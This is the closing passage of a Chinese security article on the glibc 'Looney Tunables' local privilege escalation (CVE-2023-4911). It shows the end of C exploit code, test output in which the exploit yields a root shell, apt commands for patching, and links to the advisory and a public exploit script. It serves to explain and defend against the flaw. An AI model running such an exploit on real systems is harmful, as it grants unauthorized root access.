                // probably returning from shell :)
                break;
            }
        }
    }

    // execve(nargv[0], nargv, envp);

    return 0;
}

测试情况如下:

$ ./myexp
try 100
try 200
try 300
try 400
try 500
try 600
try 700
try 800
try 900
try 1000
try 1100
try 1200
try 1300
try 1400
# id
uid=0(root) gid=0(root) 

各大系统都对该漏洞发布了更新补丁,比如ubuntu系统,可以使用如下命令对 glibc 进行更新:

# apt-get update
# apt-get upgrade libc6
  1. https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
  2. https://haxx.in/files/gnu-acme.py

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3090/


文章来源: https://paper.seebug.org/3090/
如有侵权请联系:admin#unsafe.sh